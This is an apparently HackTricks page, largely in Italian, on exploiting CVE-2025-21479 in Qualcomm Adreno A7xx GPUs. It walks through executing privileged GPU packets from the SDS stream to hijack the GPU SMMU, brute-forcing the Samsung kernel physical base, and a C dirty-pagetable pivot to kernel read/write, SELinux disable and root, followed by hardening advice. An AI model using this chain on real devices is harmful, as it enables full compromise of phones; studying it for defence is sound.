Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa pagina astrae un bug di logica del microcodice Adreno A7xx riscontrato in natura (CVE-2025-21479) in tecniche di exploitation riproducibili: abuso del masking a livello IB in Set Draw State (SDS) per eseguire privileged GPU packets da un’app non privilegiata, pivot verso GPU SMMU takeover e quindi ottenimento di un kernel R/W rapido e stabile tramite un trucco dirty-pagetable.

  • Colpiti: Qualcomm Adreno A7xx GPU firmware prima di una microcode fix che ha cambiato il masking del registro $12 da 0x3 a 0x7.
  • Primitive: Eseguire privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) da SDS, che è controllato dall’utente.
  • Risultato: Lettura/Scrittura arbitraria di memoria kernel fisica/virtuale, disabilitazione di SELinux, root.
  • Prereq: Capacità di creare un KGSL GPU context e submitter command buffers che entrano in SDS (capability normale di un’app).

Contesto: Livelli IB, SDS e la maschera $12

  • Il kernel mantiene un ringbuffer (RB=IB0). Userspace invia IB1 via CP_INDIRECT_BUFFER, concatenando a IB2/IB3.
  • SDS è uno stream di comandi speciale accessibile tramite CP_SET_DRAW_STATE:
  • A6xx: SDS viene trattato come IB3
  • A7xx: SDS è stato spostato a IB4
  • Il microcode traccia il livello IB corrente nel registro $12 e filtra i privileged packets in modo che vengano accettati solo quando il livello effettivo corrisponde a IB0 (kernel RB).
  • Bug: il microcode A7xx continuava a mascherare $12 con 0x3 (2 bit) invece di 0x7 (3 bit). Poiché IB4 & 0x3 == 0, SDS veniva erroneamente identificato come IB0, permettendo privileged packets da SDS controllato dall’utente.

Perché è importante:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Esempio di diff del microcodice (la patch ha cambiato la maschera a 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Panoramica dell’exploit

Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.

High-level chain

  • Craft a fake GPU pagetable in shared memory
  • Enter SDS and execute:
  • CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
  • CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> arbitrary physical write
  • Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)

Notes

  • Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
  • Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.

Building the SDS command sequence

  • Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
  • Construct an SDS buffer containing, in order:
  1. CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
  2. One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
  3. CP_SET_DRAW_STATE with flags to run-now

The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.

Finding Samsung kernel physbase under physical KASLR

Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.

Representative loop

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Una volta noto physbase, calcola l’indirizzo virtuale del kernel mediante la mappa lineare:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Stabilizzazione verso un CPU-side kernel R/W veloce e affidabile (dirty pagetable)

GPU R/W è lento e a granularità ridotta. Effettua una pivot verso un primitive veloce e stabile corrompendo i PTE del tuo processo (“dirty pagetable”):

Steps

  • Individua l’attuale task_struct -> mm_struct -> mm_struct->pgd usando le primitive GPU R/W lente
  • mmap due pagine userspace adiacenti A e B (es. a 0x1000)
  • Percorri PGD->PMD->PTE per risolvere gli indirizzi fisici delle PTE di A/B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Sovrascrivi la PTE di B per puntare alla pagetable di ultimo livello che gestisce A/B con attributi RW (phys_to_readwrite_pte)
  • Scrivi tramite la VA di B per mutare la PTE di A in modo da mappare i PFN target; leggi/scrivi la memoria kernel tramite la VA di A, flushando la TLB finché un sentinel non cambia stato
Esempio di snippet di pivot dirty-pagetable ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## Rilevamento e hardening

- Firmware/microcode: correggere tutti i siti che mascherano $12 per usare 0x7 (A7xx) e verificare i gate dei privileged packet
- Driver: validare il livello IB effettivo per i pacchetti privilegiati e applicare liste di permessi per contesto
- Telemetry: segnalare se CP_SMMU_TABLE_UPDATE (or similar privileged opcodes) appare fuori da RB/IB0, specialmente in SDS; monitorare picchi anomali di 4/8-byte CP_MEM_TO_MEM e pattern eccessivi di TLB flush
- Kernel: rafforzare i metadati delle pagetable e rilevare schemi di corruzione dei PTE utente

## Impatto

Un'app locale con accesso alla GPU può eseguire privileged GPU packets, dirottare la GPU SMMU, ottenere R/W arbitraria fisica/virtuale del kernel, disabilitare SELinux e ottenere root sui dispositivi Snapdragon A7xx interessati (es., Samsung S23). Gravità: High (compromissione del kernel).

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>